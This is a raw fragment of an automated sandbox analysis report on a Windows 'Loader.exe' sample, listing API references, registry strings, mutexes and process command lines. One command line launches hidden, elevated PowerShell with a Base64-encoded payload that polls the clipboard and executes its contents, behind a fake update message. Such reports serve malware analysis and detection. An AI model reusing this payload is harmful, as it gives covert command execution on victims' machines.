"00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableSRW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp")39:T49c,file/memory contains long string with (Indicator: "Start-Process"; File: "AMSI") file/memory contains long string with (Indicator: "Start-Process"; File: "powershell.exe") file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00004092.00000000.291813.61280000.00000004.mdmp, 00000000-00004092.00000001.292655.61280000.00000004.mdmp") file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00004092.00000000.291813.61280000.00000004.mdmp, 00000000-00004092.00000000.291813.61550000.00000004.mdmp, 00000000-00004092.00000000.291813.62E50000.00000004.mdmp, 00000000-00004092.00000001.292655.61280000.00000004.mdmp, 00000000-00004092.00000001.292655.612A8000.00000004.mdmp, 00000000-00004092.00000001.292655.61550000.00000004.mdmp, 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp") file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00004092.00000001.292655.612A8000.00000004.mdmp, 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp") file/memory contains long string with (Indicator: "Start-Process"; Source: "00000000-00004092.00000001.292655.612A8000.00000004.mdmp")3a:T15d8,"lid byteshttp2: Transport received GOAWAY from server ErrCode:%vinternal error: negative process handle reference countreflect: internal error: invalid use of makeMethodValuetls: internal error: handshake should have had a resulttls: server sent non-zero legacy TLS compression methodSOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zonesrequest header list larger than peer's advertised limitmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan state is currently not supported for use in system callbackscipher.NewCBCEncrypter: IV length must equal block sizecipher.NewCBCDecrypter: IV length must equal block sizeecdsa: internal error: shift can only be by 1 to 7 bitsx509: authority info access incorrectly marked criticalx509: too many intermediates for path length constraintx509: failed to load system roots and no roots providedeach colon-separated field must have at least one digitedwards25519: invalid SetBytesWithClamping input lengthhttp2: request body larg" in Source: Loader.exe "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0`" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\Instance" in Source: 00000000-00004092.00000001.292655.7B864000.00000004.mdmp "Registry\Machine\Software\Classes\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}" in Source: 00000000-00004092.00000001.292655.7B864000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "hine\Software\Classes\WOW644" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\E" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\&" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\x" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\(" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "sse\Registry\Machine\Software\Classes\WOW64Q" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{F" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp3b:T9e8,Process Loader.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7632:304:WilStaging_02" Process Loader.exe created mutex with name "Local\SM0:7632:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7308:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:7308:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:7308:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:7308:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:7308:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7308:120:WilError_03" Process 806964ff31e2acc80.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8272:304:WilStaging_02" Process 806964ff31e2acc80.exe created mutex with name "Local\SM0:8272:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4092:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4092:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:4092:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:4092:120:WilError_03" Process powershell.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process powershell.exe created mutex with name "Local\SM0:4092:120:WilError_03" Process powershell.exe created mutex with name "Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "Local\ZonesCacheCounterMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4092:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8248:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:8248:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8248:120:WilError_03"3c:T65b,Process "powershell.exe" with commandline "powershell -Command "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('Checking for updates...', 'Updater', 'OK', 'Information')"" (UID: 00000000-00007308) Process "powershell.exe" with commandline "-Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A' -Verb RunAs"" (UID: 00000000-00004092) Process "powershell.exe" with commandline ""powershell" -Command "Get-Process | Select-Object Name"" (UID: 00000000-00008248) Process "powershell.exe" with commandline "-EncodedCommand dwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsAIAAkAGMAbABpAHAAIAA9ACAARwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZAA7ACAAaQBmACAAKAAkAGMAbABpAHAAIAAtAGEAbgBkACAAJABjAGwAaQBwAC4AUwB0AGEAcgB0AHMAVwBpAHQAaAAoACcAXwAnACkAKQAgAHsAIAAkAGMAbQBkACAAPQAgACQAYwBsAGkAcAAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApADsAIABTAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkACAAJwAgACcAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAYwBtAGQAOwAgAGIAcgBlAGEAawAgAH0AOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAMAAgAH0A" (UID: 00000000-00005928)3d:Tbb8,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "806964ff31e2acc80.exe" failed to load missing module "dmime.dll" - [base:0; Status:c0000135]3e:T27df,"SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004092.00000000.291813.2ABD3000.00000002.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0`" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\" in Source: 00000000-00004092.00000001.292655.612A8000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004092.00000001.292655.7B7B2000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\Instance" in Source: 00000000-00004092.00000001.292655.7B864000.00000004.mdmp "Registry\Machine\Software\Classes\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}" in Source: 00000000-00004092.00000001.292655.7B864000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}" in Source: 00000000-00004092.00000001.292655.7BAB0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "hine\Software\Classes\WOW644" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\E" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\&" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\x" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Software\Policies\Microsoft\(" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "sse\Registry\Machine\Software\Classes\WOW64Q" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "chine\Software\Classes\WOW6432Node\CLSID\{F" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}" in Source: 00000000-00004092.00000001.292655.7BB33000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005928.00000001.294805.E2760000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005928.00000001.294805.E2760000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00005928.00000001.294805.E2760000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00005928.00000002.296725.1722A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in 